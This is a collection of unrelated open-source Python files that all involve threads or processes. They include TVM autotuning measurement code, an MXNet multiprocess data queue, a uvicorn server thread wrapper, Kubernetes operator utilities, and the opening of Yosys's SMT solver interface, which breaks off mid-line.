# pylint: disable=invalid-name,too-many-function-args,too-many-nested-blocks """ Functions that run on executor for measurement. These functions are responsible for building the tvm module, uploading it to remote devices, recording the running time costs, and checking the correctness of the output. """ import logging import shutil import os import threading import time from random import getrandbits from collections import namedtuple import tempfile import numpy as np from ... import ir_pass, build, build_config, nd, TVMError, register_func, \ rpc as _rpc, target as _target from ...contrib import nvcc, ndk from ..util import get_const_tuple from ..env import AutotvmGlobalScope from ..task.space import InstantiationError from .measure import MeasureResult, MeasureErrorNo, Builder, Runner from .local_executor import LocalExecutor logger = logging.getLogger('autotvm') class BuildResult(namedtuple("BuildResult", ('filename', 'arg_info', 'error', 'time_cost'))): """ Stores all the necessary inputs for a measurement. Parameters ---------- filename : str The filename of generated library arg_info : Tuple The shape and dtype information of tvm tensor arguments error : Exception The error happens during compilation. time_cost : float The time cost of building """ class LocalBuilder(Builder): """Run compilation on local machine Parameters ---------- timeout: float The timeout of a compilation n_parallel: int The number of tasks run in parallel. "None" will use all cpu cores build_func: callable or str If is 'default', use default build function If is 'ndk', use function for android ndk If is callable, use it as custom build function """ def __init__(self, timeout=10, n_parallel=None, build_func='default'): super(LocalBuilder, self).__init__(timeout, n_parallel) if isinstance(build_func, str): if build_func == 'default': build_func = default_build_func elif build_func == 'ndk': build_func = android_ndk_build_func else: raise ValueError("Invalid build_func" + build_func) self.build_func = build_func self.executor = LocalExecutor(timeout=timeout) self.tmp_dir = tempfile.mkdtemp() def build(self, measure_inputs): results = [] shutil.rmtree(self.tmp_dir) self.tmp_dir = tempfile.mkdtemp() for i in range(0, len(measure_inputs), self.n_parallel): futures = [] for inp in measure_inputs[i:i + self.n_parallel]: ret = self.executor.submit(self.build_func, inp, self.tmp_dir, **self.build_kwargs) futures.append(ret) for future in futures: res = future.get() if isinstance(res, Exception): # timeout or fleet error, return MeasureResult directly results.append(MeasureResult((res,), MeasureErrorNo.BUILD_TIMEOUT, self.timeout, time.time())) elif res.error is not None: # instantiation error if isinstance(res.error, InstantiationError): results.append(MeasureResult((res.error,), MeasureErrorNo.INSTANTIATION_ERROR, res.time_cost, time.time())) else: if "InstantiationError" in str(res.error): msg = str(res.error) try: msg = msg.split('\n')[-2].split(": ")[1] except Exception: # pylint: disable=broad-except pass results.append(MeasureResult((InstantiationError(msg),), MeasureErrorNo.INSTANTIATION_ERROR, res.time_cost, time.time())) else: # tvm error results.append(MeasureResult((res.error,), MeasureErrorNo.COMPILE_HOST, res.time_cost, time.time())) else: # return BuildResult results.append(res) return results class RPCRunner(Runner): """Run generated code on remove devices. This function will ask a RPC Tracker to get device for measurement. Parameters ---------- timeout: float The timeout of a compilation n_parallel: int The number of tasks run in parallel. "None" will use all cpu cores key: str The key of the device registered in the tracker host: str The host address of RPC Tracker port: int The port of RPC Tracker number : int, optional Number of times to do measurement for tasking average repeat : int, optional Number of times to repeat the measurement. In total, the generated code will be run (1 + number x repeat) times, where the first one is warm up. The returned result contains `repeat` costs, min_repeat_ms : float, optional Minimum duration of a timer measurement in milliseconds. When the run time of a measurement trial falls below this time, the `number` parameter will be automatically increased. Set this to improve the accuracy of perf measurement, e.g., when timers are not precise enough to capture short-running tasks. This parameter is also critical when devices need a certain minimum running time to "warm up," such as GPUs that need time to reach a performance power state. cooldown_interval: float, optional The cool down interval between two measurements. check_correctness: bool, optional Whether check correctness after measurement. This will use llvm cpu target to call your template and get the reference output. This can work for TOPI templates, but may not work for your custom template. """ def __init__(self, key, host, port, priority=1, timeout=10, n_parallel=None, number=4, repeat=3, min_repeat_ms=0, cooldown_interval=0.1, check_correctness=False): super(RPCRunner, self).__init__(timeout, n_parallel) self.key = key self.host = host self.port = port self.priority = priority self.timeout = timeout self.number = number self.repeat = repeat self.min_repeat_ms = min_repeat_ms self.cur_number = number self.ref_input = None self.ref_output = None self.check_correctness = check_correctness self.cooldown_interval = cooldown_interval self.executor = LocalExecutor() def set_task(self, task): self.task = task self.cur_number = self.number if check_remote(task.target, self.key, self.host, self.port): logger.info("Get devices for measurement successfully!") else: raise RuntimeError("Cannot get remote devices from the tracker. " "Please check the status of tracker by " "'python -m tvm.exec.query_rpc_tracker --port [THE PORT YOU USE]' " "and make sure you have free devices on the queue status.") if self.check_correctness: # use llvm cpu to generate a reference input/output # this option works for tuning topi, but might not work for you custom op with _target.create("llvm"): s, arg_bufs = task.instantiate(task.config_space.get(0)) self.ref_input = [np.random.uniform(size=get_const_tuple(x.shape)).astype(x.dtype) for x in arg_bufs] func = build(s, arg_bufs, "llvm") tvm_buf = [nd.array(x) for x in self.ref_input] func(*tvm_buf) self.ref_output = [x.asnumpy() for x in tvm_buf] def get_build_kwargs(self): kwargs = {} if 'cuda' in self.task.target.keys or 'opencl' in self.task.target.keys: remote = request_remote(self.key, self.host, self.port) ctx = remote.context(str(self.task.target), 0) max_dims = ctx.max_thread_dimensions kwargs['check_gpu'] = { 'max_shared_memory_per_block': ctx.max_shared_memory_per_block, 'max_threads_per_block': ctx.max_threads_per_block, 'max_thread_x': max_dims[0], 'max_thread_y': max_dims[1], 'max_thread_z': max_dims[2], } if 'cuda' in self.task.target.keys: kwargs["cuda_arch"] = "sm_" + "".join(ctx.compute_version.split('.')) return kwargs def run(self, measure_inputs, build_results): results = [] remote_args = (self.key, self.host, self.port, self.priority, self.timeout) for i in range(0, len(measure_inputs), self.n_parallel): futures = [] for measure_inp, build_res in zip(measure_inputs[i:i+self.n_parallel], build_results[i:i+self.n_parallel]): ret = self.executor.submit(run_through_rpc, measure_inp, build_res, self.cur_number, self.repeat, self.cooldown_interval, remote_args, self.ref_input, self.ref_output) futures.append(ret) for future in futures: res = future.get() if isinstance(res, Exception): # executor error or timeout results.append(MeasureResult((str(res),), MeasureErrorNo.RUN_TIMEOUT, self.timeout, time.time())) else: results.append(res) # If some runs were too fast, do remeasure for them # to meet the requirement of `min_repeat_ms` remeasure = np.zeros((len(measure_inputs),), dtype=np.bool) pre_number = next_number = self.cur_number min_repeat_duration = self.min_repeat_ms / 1000.0 for i, res in enumerate(results): if res.error_no == MeasureErrorNo.NO_ERROR: if np.mean(res.costs) * pre_number <= min_repeat_duration: next_number = max(next_number, int(np.ceil(min_repeat_duration / np.mean(res.costs)))) remeasure[i] = True if pre_number != next_number: self.cur_number = next_number msg = "increasing number to %d" % self.cur_number logger.info(msg) re_measure_inputs = [x for i, x in enumerate(measure_inputs) if remeasure[i]] re_build_results = [x for i, x in enumerate(build_results) if remeasure[i]] re_res = self.run(re_measure_inputs, re_build_results) ct = 0 for i, rerun in enumerate(remeasure): if rerun: results[i] = re_res[ct] ct += 1 return results class LocalRunner(RPCRunner): """Run generated code on local devices. Parameters ---------- timeout: float The timeout of a compilation number : int, optional Number of times to do measurement for tasking average repeat : int, optional Number of times to repeat the measurement. In total, the generated code will be run (1 + number x repeat) times, where the first one is warm up. The returned result contains `repeat` costs, each of which is the average of `number` test run. min_repeat_ms : float, optional Minimum duration of a timer measurement in milliseconds. When the run time of a measurement trial falls below this time, the `number` parameter will be automatically increased. Set this to improve the accuracy of perf measurement, e.g., when timers are not precise enough to capture short-running tasks. This parameter is also critical when devices need a certain minimum running time to "warm up," such as GPUs that need time to reach a performance power state. cooldown_interval: float, optional The cool down interval between two measurements. check_correctness: bool, optional Whether check correctness after measurement. This will use llvm cpu target to call your template and get the reference output. This can work for TOPI templates, but may not work for your custom template. Note ---- This is a "fake" local mode. We start a silent rpc tracker and rpc server for the user. In this way we reuse timeout/isolation mechanism in RPC infrastructure. """ def __init__(self, timeout=10, number=4, repeat=3, min_repeat_ms=0, cooldown_interval=0.1, check_correctness=False): super(LocalRunner, self).__init__('', None, None, 0, timeout=timeout, n_parallel=1, number=number, repeat=repeat, min_repeat_ms=min_repeat_ms, cooldown_interval=cooldown_interval, check_correctness=check_correctness) self.tracker = None self.server = None def set_task(self, task): self.task = task from ...rpc.tracker import Tracker from ...rpc.server import Server tracker = Tracker('localhost', port=9000, port_end=10000, silent=True) device_key = '$local$device$%d' % tracker.port server = Server('localhost', port=9000, port_end=10000, key=device_key, use_popen=True, silent=True, tracker_addr=(tracker.host, tracker.port)) self.key = device_key self.host = tracker.host self.port = tracker.port super(LocalRunner, self).set_task(task) return server, tracker def _build_func_common(measure_input, check_gpu=None, cuda_arch=None, build_option=None): """Common part for building a configuration""" target, task, config = measure_input with target: s, args = task.instantiate(config) # check invalidity of template and code hash consistency if not config.valid(): raise InstantiationError(config.errors) opts = build_option or {} if check_gpu: # Add verify pass to filter out invalid configs in advance. opts["add_lower_pass"] = [(2, gpu_verify_pass(**check_gpu))] if cuda_arch: set_cuda_target_arch(cuda_arch) with build_config(**opts): func = build(s, args, target_host=task.target_host) return func, tuple((get_const_tuple(x.shape), x.dtype) for x in args) def default_build_func(measure_input, tmp_dir, **kwargs): """ Default build func. This can work for cuda, opencl, llvm backend Parameters ---------- measure_input: MeasureInput The input of measurement tmp_dir: str The path of temporary directory to export generated library """ tic = time.time() try: filename = os.path.join(tmp_dir, "tmp_func_%0x.tar" % getrandbits(64)) func, arg_info = _build_func_common(measure_input, **kwargs) func.export_library(filename) except Exception as e: # pylint: disable=broad-except return BuildResult(None, None, e, time.time() - tic) return BuildResult(filename, arg_info, None, time.time() - tic) def android_ndk_build_func(measure_input, tmp_dir, **kwargs): """ Build function for android device using ndk. Parameters ---------- measure_input: MeasureInput The input of measurement tmp_dir: str The path of temporary directory to export generated library """ tic = time.time() try: filename = os.path.join(tmp_dir, "tmp_func_%0x.so" % getrandbits(64)) func, arg_info = _build_func_common(measure_input, **kwargs) func.export_library(filename, ndk.create_shared) except Exception as e: # pylint: disable=broad-except return BuildResult(None, None, e, time.time() - tic) return BuildResult(filename, arg_info, None, time.time() - tic) def run_through_rpc(measure_input, build_result, number, repeat, cooldown_interval, remote_args, ref_input=None, ref_output=None): """Run a generated library through rpc Parameters ---------- measure_input: MeasureInput The raw measure input build_result: BuildResult The result returned from Builder. This contains the path to the generated library. number : int, optional Number of times to do measurement for tasking average repeat : int, optional Number of times to repeat the measurement. In total, the generated code will be run (1 + number x repeat) times, where the first one is warm up. The returned result contains `repeat` costs, each of which is the average of `number` test run. cooldown_interval: float The cool down interval between two measurements remote_args: Tuple The argument for request_remote ref_input: List of np.ndarray The reference input used for checking correctness ref_output: List of np.ndarray The reference output used for checking correctness """ if isinstance(build_result, MeasureResult): return build_result tic = time.time() errno = MeasureErrorNo.NO_ERROR try: # upload built module remote = request_remote(*remote_args) remote.upload(build_result.filename) func = remote.load_module(os.path.split(build_result.filename)[1]) ctx = remote.context(str(measure_input.target), 0) time_f = func.time_evaluator( func.entry_name, ctx, number=number, repeat=repeat) # set input if ref_input: args = [nd.array(x, ctx=ctx) for x in ref_input] else: # create empty arrays on the remote device and copy them once. # This can avoid some memory issues that make the measurment results unreliable. args = [nd.empty(x[0], dtype=x[1], ctx=ctx) for x in build_result.arg_info] args = [nd.array(x, ctx=ctx) for x in args] ctx.sync() costs = time_f(*args).results # clean up remote files remote.remove(build_result.filename) remote.remove(os.path.splitext(build_result.filename)[0] + '.so') remote.remove('') if len(costs) > 2: # remove largest and smallest value to reduce variance costs = list(costs) costs.sort() costs = tuple(costs[1:-1]) # check correctness of output if ref_output: for expected, real in zip(ref_output, args): if not np.allclose(expected, real.asnumpy(), rtol=1e-4): logger.warning("Wrong Answer!") errno = MeasureErrorNo.WRONG_ANSWER except TVMError as exc: msg = str(exc) if "Stack trace returned" in msg: msg = msg[:msg.index("Stack trace returned")] if "CUDA Source" in msg: msg = msg[:msg.index("CUDA Source")] costs = (RuntimeError(msg[:1024]),) errno = MeasureErrorNo.RUNTIME_DEVICE tstamp = time.time() time.sleep(cooldown_interval) return MeasureResult(costs, errno, tstamp - tic + build_result.time_cost, tstamp) def request_remote(device_key, host=None, port=None, priority=1, timeout=60): """Request a remote session Parameters ---------- device_key: string The device key of registered device in tracker host: host, optional The host address of rpc tracker. If is none, will use environment variable "TVM_TRACKER_HOST" port: int, optional The port of rpc tracker. If is none, will use environment variable "TVM_TRACKER_PORT" priority: int, optional The priority of this request, larger is more prior timeout: float, optional The timeout of this session (units: second) Returns ------ session: RPCSession """ # connect to the tracker host = host or os.environ['TVM_TRACKER_HOST'] port = port or int(os.environ['TVM_TRACKER_PORT']) tracker = _rpc.connect_tracker(host, port) remote = tracker.request(device_key, priority=priority, session_timeout=timeout) return remote def check_remote(target, device_key, host=None, port=None, priority=100, timeout=10): """ Check the availability of a remote device Parameters ---------- target: Target The wanted compilation target device_key: string device key of registered device in tracker host: host, optional The host address of rpc tracker. If is none, will use environment variable "TVM_TRACKER_HOST" port: int, optional The port address of rpc tracker. If is none, will use environment variable "TVM_TRACKER_PORT" priority: int, optional The priority of this request, larger is more prior timeout: float, optional The timeout of this check (units: seconds). Returns ------- available: bool True if can find available device """ def _check(): remote = request_remote(device_key, host, port, priority) ctx = remote.context(str(target)) while not ctx.exist: # wait until we get an available device pass t = threading.Thread(target=_check,) t.start() t.join(timeout) return not t.is_alive() @register_func def tvm_callback_cuda_compile(code): """use nvcc to generate ptx code for better optimization""" ptx = nvcc.compile_cuda(code, target="ptx", arch=AutotvmGlobalScope.current.cuda_target_arch) return ptx def set_cuda_target_arch(arch): """set target architecture of nvcc compiler Parameters ---------- arch: str The argument of nvcc -arch. (e.g. "sm_51", "sm_62") """ AutotvmGlobalScope.current.cuda_target_arch = arch def gpu_verify_pass(**kwargs): """Verify the validity of a gpu kernel. This pass will check memory usage and number of threads per block. """ def verify_pass(stmt): valid = ir_pass.VerifyGPUCode(stmt, kwargs) if not valid: raise InstantiationError("Skipped because of invalid gpu kernel") return stmt return verify_pass
multiproc_data.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import print_function from ctypes import c_bool import multiprocessing as mp try: from queue import Full as QFullExcept from queue import Empty as QEmptyExcept except ImportError as error: raise error # import numpy as np class MPData(object): """ Handles multi-process data generation. Operation: - call start() to start the data generation - call get() (blocking) to read one sample - call reset() to stop data generation """ def __init__(self, num_processes, max_queue_size, fn): """ Parameters ---------- num_processes: int Number of processes to spawn max_queue_size: int Maximum samples in the queue before processes wait fn: function function that generates samples, executed on separate processes. """ self.queue = mp.Queue(maxsize=int(max_queue_size)) self.alive = mp.Value(c_bool, False, lock=False) self.num_proc = num_processes self.proc = list() self.fn = fn def start(self): """ Starts the processes Parameters ---------- fn: function """ """ Starts the processes """ self._init_proc() @staticmethod def _proc_loop(proc_id, alive, queue, fn): """ Thread loop for generating data Parameters ---------- proc_id: int Process id alive: multiprocessing.Value variable for signaling whether process should continue or not queue: multiprocessing.Queue queue for passing data back fn: function function object that returns a sample to be pushed into the queue """ print("proc {} started".format(proc_id)) try: while alive.value: data = fn() put_success = False while alive.value and not put_success: try: queue.put(data, timeout=0.5) put_success = True except QFullExcept: # print("Queue Full") pass except KeyboardInterrupt: print("W: interrupt received, stopping process {} ...".format(proc_id)) print("Closing process {}".format(proc_id)) queue.close() def _init_proc(self): """ Start processes if not already started """ if not self.proc: self.proc = [ mp.Process(target=self._proc_loop, args=(i, self.alive, self.queue, self.fn)) for i in range(self.num_proc) ] self.alive.value = True for p in self.proc: p.start() def get(self): """ Get a datum from the queue Returns ------- np.ndarray A captcha image, normalized to [0, 1] """ self._init_proc() return self.queue.get() def reset(self): """ Resets the generator by stopping all processes """ self.alive.value = False qsize = 0 try: while True: self.queue.get(timeout=0.1) qsize += 1 except QEmptyExcept: pass print("Queue size on reset: {}".format(qsize)) for i, p in enumerate(self.proc): p.join() self.proc.clear()
main.py
import threading, time def core_worker(): from core import kuma def webui_worker(): from webui import flask if __name__ == '__main__': threading.Thread(target = core_worker).start() threading.Thread(target = webui_worker).start()
long_dump_thread.py
from __future__ import absolute_import # Copyright (c) 2010-2017 openpyxl import threading from io import BytesIO from openpyxl.workbook import Workbook def test_thread_safe_dump(): def dump_workbook(): wb = Workbook(optimized_write=True) ws = wb.create_sheet() ws.append(range(30)) wb.save(filename=BytesIO()) for thread_idx in range(400): thread = threading.Thread(target=dump_workbook) thread.start() print("starting thread %d" % thread_idx)
server.py
# -*- coding: utf-8 -*- import threading from fastapi import FastAPI import uvicorn class Server(uvicorn.Server): """Class wrapper for the uvicron server. The idea behind building the wrapper is to be able to launch the uvicorn server in a separate thread. The purpose is to not block the main thread. The class is based on the comments found at this address: https://github.com/encode/uvicorn/issues/742#issuecomment-674411676 The class inherits from the uvicorn.Server class. """ def __init__(self, app: FastAPI, host: str = "localhost", port: int = 8000, log_level: str = "info") -> None: """ Initiliser Args: app ( [FastAPI] ): The FastAPI server we want to run. host (str, optional): IP address host to launch service on. Defaults to 'localhost'. port (int, optional): Port number to host service on. Defaults to 8000. log_level (str, optional):The level of logging we want the server to have. Defaults to 'info'. """ assert isinstance(host, str), f"Expected type string for arg: host, got type: {type(host)}" assert isinstance(port, int), f"Expected type int for arg: port, got type: {type(port)}" assert isinstance(app, FastAPI), f"Expected type FastAPI for arg: app, got type: {type(app)}" self.__config = uvicorn.Config(app, host=host, port=port, log_level=log_level) super().__init__(self.__config) # define the thread as a class property/parameter so that the "run_in_thread" and "stop_thread" can be run on the same thread. self.__thread = threading.Thread(target=self.run, daemon=False) def run(self) -> None: """Method for starting the thread containing the uvicorn server""" self.__thread.start() def stop(self, timeout: int = 5) -> None: """ Method for stopping the thread containing the uvicorn server :param timeout: Timeout when exiting the launcher for child threads to exit, defaults to 5 """ self.should_exit = True # wait for thead to terminate, this is used to ensure that the thread has been terminated. self.__thread.join(timeout=timeout) # check if the thread is still alive - this is needed because the join method always returns None even if it timedout. assert self.__thread.is_alive() is False, "Thread didn't close properly. The method thread.join() has timedout."
util.py
import os import uuid import asyncio import contextlib import threading import inflection import logging from typing import ( Tuple, Callable, Union, Any, Iterable ) from functools import reduce import kubernetes from kubernetes import config from kubernetes.client.rest import ApiException import kopf from kopf.reactor.registries import SmartOperatorRegistry as KopfRegistry from digi import logger try: # use service config config.load_incluster_config() except: # use kubeconfig config.load_kube_config() class DriverError: GEN_OUTDATED = 41 _api = kubernetes.client.CustomObjectsApi() def run_operator(registry: KopfRegistry, log_level=logging.INFO, skip_log_setup=False, ) -> (threading.Event, threading.Event): clusterwide = os.environ.get("CLUSTERWIDE", True) kopf_logging = os.environ.get("KOPFLOG", "true") == "true" if not kopf_logging: kopf_logger = logging.getLogger("kopf") kopf_logger.propagate = False kopf_logger.handlers[:] = [logging.NullHandler()] ready_flag = threading.Event() stop_flag = threading.Event() def kopf_thread(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) with contextlib.closing(loop): if not skip_log_setup: # XXX (@kopf) disallow kopf configure root logger kopf.configure(verbose=log_level <= logging.DEBUG, debug=log_level <= logging.DEBUG, quiet=kopf_logging and log_level <= logging.INFO) loop.run_until_complete(kopf.operator( ready_flag=ready_flag, stop_flag=stop_flag, registry=registry, clusterwide=clusterwide, )) thread = threading.Thread(target=kopf_thread) thread.start() logger.info(f"Started an operator") return ready_flag, stop_flag class NamespacedName: def __init__(self, n, ns="default"): self.name = n self.namespace = ns def uuid_str(length=4): return str(uuid.uuid4())[:length] def spaced_name(n, ns) -> str: return f"{ns}/{n}" def trim_default_space(s): return s.lstrip("default/") def gvr_from_body(b): g, v = tuple(b["apiVersion"].split("/")) r = inflection.pluralize(b["kind"].lower()) return g, v, r def trim_attr(spec: dict, attrs: set) -> dict: # BFS to_visit = [spec] for n in to_visit: to_trim = list() if type(n) is not dict: continue for k, v in n.items(): if k not in attrs: to_visit.append(v) else: to_trim.append(k) for k in to_trim: n.pop(k, {}) return spec def apply_diff(model: dict, diff: list) -> dict: for op, fs, old, new in diff: if len(fs) == 0: continue if op in {"add", "change"}: n = model for f in fs[:-1]: if f not in n: n[f] = dict() n = n[f] n[fs[-1]] = new return model def parse_spaced_name(nsn) -> Tuple[str, str]: parsed = nsn.split("/") if len(parsed) < 2: return parsed[0], "default" # name, namespace return parsed[1], parsed[0] def parse_gvr(gvr: str, g="", v="") -> Tuple[str, ...]: parsed = tuple(gvr.lstrip("/").split("/")) assert len(parsed) == 3, f"{gvr} not in form of '[/]group/version/plural'" # if len(parsed) != 3: # assert g != "" and v != "", "provide group and version to complete the gvr" # return g, v, parsed[-1] return parsed def model_id(g, v, r, n, ns) -> str: return f"{g}/{v}/{r}/{spaced_name(n, ns)}" def gvr(g, v, r) -> str: return f"{g}/{v}/{r}" def is_gvr(s: str) -> bool: return len(s.split("/")) == 3 def normalized_gvr(s, g, v) -> str: r = s.split("/")[-1] return f"{g}/{v}/{r}" def normalized_nsn(s: str) -> str: if "/" not in s: return "default/" + s else: return s def safe_attr(s): return s.replace(".", "-") def parse_model_id(s) -> Tuple[str, str, str, str, str]: ps = s.lstrip("/").split("/") assert len(ps) in {4, 5} if len(ps) == 4: return ps[0], ps[1], ps[2], ps[3], "default" return ps[0], ps[1], ps[2], ps[4], ps[3] def get_spec(g, v, r, n, ns) -> (dict, str, int): global _api try: o = _api.get_namespaced_custom_object(group=g, version=v, namespace=ns, name=n, plural=r, ) except ApiException as e: logger.warning(f"Unable to update model {model_id(g, v, r, n, ns)}:", e) return None return o.get("spec", {}), \ o["metadata"]["resourceVersion"], \ o["metadata"]["generation"] def patch_spec(g, v, r, n, ns, spec: dict, rv=None): global _api try: resp = _api.patch_namespaced_custom_object(group=g, version=v, namespace=ns, name=n, plural=r, body={ "metadata": {} if rv is None else { "resourceVersion": rv, }, "spec": spec, }, ) return resp, None except ApiException as e: return None, e def check_gen_and_patch_spec(g, v, r, n, ns, spec, gen): # patch the spec atomically if the current gen is # less than the given spec while True: _, rv, cur_gen = get_spec(g, v, r, n, ns) if gen < cur_gen: e = ApiException() e.status = DriverError.GEN_OUTDATED e.reason = f"Generation outdated {gen} < {cur_gen}" return cur_gen, None, e resp, e = patch_spec(g, v, r, n, ns, spec, rv=rv) if e is None: return cur_gen, resp, None if e.status == 409: logger.info(f"Unable to patch model due to conflict; retry") else: logger.warning(f"Patch error {e}") return cur_gen, resp, e # utils def put(path, src, target, transform=lambda x: x): if not isinstance(target, dict): return ps = path.split(".") for p in ps[:-1]: if p not in target: return target = target[p] if not isinstance(src, dict): if src is None: target[ps[-1]] = None else: target[ps[-1]] = transform(src) return for p in ps[:-1]: if p not in src: return src = src[p] target[ps[-1]] = transform(src[ps[-1]]) def deep_get(d: dict, path: Union[str, Iterable], default=None) -> Any: return reduce(lambda _d, key: _d.get(key, default) if isinstance(_d, dict) else default, path.split(".") if isinstance(path, str) else path, d) def deep_set(d: dict, path: Union[str, Iterable], val: Any, create=False): if not isinstance(d, dict): return if isinstance(path, str): keys = path.split(".") elif isinstance(d, Iterable): keys = path else: return for k in keys[:-1]: if k not in d: if create: d[k] = {} else: return d = d[k] d[keys[-1]] = val def get_inst(d: dict, gvr_str) -> dict: inst = dict() for _n, body in d.get(gvr_str, {}).items(): i = body.get("spec", None) if i is not None: inst[_n] = i return inst def deep_set_all(ds, path: str, val): if isinstance(ds, list): for d in ds: deep_set(d, path, val) elif isinstance(ds, dict): for _, d in ds.items(): deep_set(d, path, val) def mount_size(mounts: dict, gvr_set: set = None, has_spec=False, cond: Callable = lambda x: True): count = 0 for typ, models in mounts.items(): if gvr_set is not None and typ not in gvr_set: continue if not all(cond(m) for m in models): continue if has_spec: count += sum(1 if "spec" in m else 0 for m in models) else: count += len(models) return count def typ_attr_from_child_path(child_path): return child_path[2], child_path[-2] def first_attr(attr, d: dict): if type(d) is not dict: return None if attr in d: return d[attr] for k, v in d.items(): v = first_attr(attr, v) if v is not None: return v return None def first_type(mounts): if type(mounts) is not dict or len(mounts) == 0: return None return list(mounts.keys())[0] def full_gvr(a: str) -> str: # full gvr: group/version/plural if len(a.split("/")) == 1: return "/".join([os.environ["GROUP"], os.environ["VERSION"], a]) else: return a def gvr_equal(a: str, b: str) -> bool: return full_gvr(a) == full_gvr(b) # TBD deprecate class Auri: def __init__(self, **kwargs): self.group = str(kwargs["group"]) self.version = str(kwargs["version"]) self.kind = str(kwargs["kind"]).lower() self.resource = inflection.pluralize(self.kind) self.name = str(kwargs["name"]) self.namespace = str(kwargs["namespace"]) self.path = str(kwargs["path"]) def gvr(self) -> tuple: return self.group, self.version, self.resource def gvk(self) -> tuple: return self.group, self.version, self.kind def __repr__(self): return self.__str__() def __str__(self): return f"" \ f"/{self.group}" \ f"/{self.version}" \ f"/{self.kind}" \ f"/{self.namespace}" \ f"/{self.name}{self.path}" def parse_auri(s: str) -> Auri or None: ps = s.partition(".") main_segs = ps[0].lstrip("/").split("/") attr_path = "" if len(ps) < 2 else "." + ps[2] parsed = { 2: lambda x: { "group": "digi.dev", "version": "v1", "kind": x[0], "name": x[1], "namespace": "default", "path": attr_path, }, 3: lambda x: { "group": "digi.dev", "version": "v1", "kind": x[0], "name": x[2], "namespace": x[1], "path": attr_path, }, 5: lambda x: { "group": x[0], "version": x[1], "kind": x[2], "name": x[3], "namespace": x[4], "path": attr_path, }, }.get(len(main_segs), lambda: {})(main_segs) if parsed is None: return None return Auri(**parsed)
smtio.py
# # yosys -- Yosys Open SYnthesis Suite # # Copyright (C) 2012 Clifford Wolf <clifford@clifford.at> # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # import sys, re, os, signal import subprocess if os.name == "posix": import resource from copy import deepcopy from select import select from time import time from queue import Queue, Empty from threading import Thread # This is needed so that the recursive SMT2 S-expression parser # does not run out of stack frames when parsing large expressions if os.name == "posix": smtio_reclimit = 64 * 1024 if sys.getrecursionlimit() < smtio_reclimit: sys.setrecursionlimit(smtio_reclimit) current_rlimit_stack = resource.getrlimit(resource.RLIMIT_STACK) if current_rlimit_stack[0] != resource.RLIM_INFINITY: smtio_stacksize = 128 * 1024 * 1024 if os.uname().sysname == "Darwin": # MacOS has rather conservative stack limits smtio_stacksize = 16 * 1024 * 1024 if current_rlimit_stack[1] != resource.RLIM_INFINITY: smtio_stacksize = min(smtio_stacksize, current_rlimit_stack[1]) if current_rlimit_stack[0] < smtio_stacksize: resource.setrlimit(resource.RLIMIT_STACK, (smtio_stacksize, current_rlimit_stack[1])) # currently running solvers (so we can kill them) running_solvers = dict() forced_shutdown = False solvers_index = 0 def force_shutdown(signum, frame): global forced_shutdown if not forced_shutdown: forced_shutdown = True if signum is not None: print("<%s>" % signal.Signals(signum).name) for p in running_solvers.values(): # os.killpg(os.getpgid(p.pid), signal.SIGTERM) os.kill(p.pid, signal.SIGTERM) sys.exit(1) if os.name == "posix": signal.signal(signal.SIGHUP, force_shutdown) signal.signal(signal.SIGINT, force_shutdown) signal.signal(signal.SIGTERM, force_shutdown) def except_hook(exctype, value, traceback): if not forced_shutdown: sys.__excepthook__(exctype, value, traceback) force_shutdown(None, None) sys.excepthook = except_hook hex_dict = { "0": "0000", "1": "0001", "2": "0010", "3": "0011", "4": "0100", "5": "0101", "6": "0110", "7": "0111", "8": "1000", "9": "1001", "A": "1010", "B": "1011", "C": "1100", "D": "1101", "E": "1110", "F": "1111", "a": "1010", "b": "1011", "c": "1100", "d": "1101", "e": "1110", "f": "1111" } class SmtModInfo: def __init__(self): self.inputs = set() self.outputs = set() self.registers = set() self.memories = dict() self.wires = set() self.wsize = dict() self.clocks = dict() self.cells = dict() self.asserts = dict() self.covers = dict() self.anyconsts = dict() self.anyseqs = dict() self.allconsts = dict() self.allseqs = dict() self.asize = dict() class SmtIo: def __init__(self, opts=None): global solvers_index self.logic = None self.logic_qf = True self.logic_ax = True self.logic_uf = True self.logic_bv = True self.logic_dt = False self.forall = False self.produce_models = True self.smt2cache = [list()] self.p = None self.p_index = solvers_index solvers_index += 1 if opts is not None: self.logic = opts.logic self.solver = opts.solver self.solver_opts = opts.solver_opts self.debug_print = opts.debug_print self.debug_file = opts.debug_file self.dummy_file = opts.dummy_file self.timeinfo = opts.timeinfo self.unroll = opts.unroll self.noincr = opts.noincr self.info_stmts = opts.info_stmts self.nocomments = opts.nocomments else: self.solver = "yices" self.solver_opts = list() self.debug_print = False self.debug_file = None self.dummy_file = None self.timeinfo = os.name != "nt" self.unroll = False self.noincr = False self.info_stmts = list() self.nocomments = False self.start_time = time() self.modinfo = dict() self.curmod = None self.topmod = None self.setup_done = False def __del__(self): if self.p is not None and not forced_shutdown: os.killpg(os.getpgid(self.p.pid), signal.SIGTERM) if running_solvers is not None: del running_solvers[self.p_index] def setup(self): assert not self.setup_done if self.forall: self.unroll = False if self.solver == "yices": if self.noincr: self.popen_vargs = ['yices-smt2'] + self.solver_opts else: self.popen_vargs = ['yices-smt2', '--incremental'] + self.solver_opts if self.solver == "z3": self.popen_vargs = ['z3', '-smt2', '-in'] + self.solver_opts if self.solver == 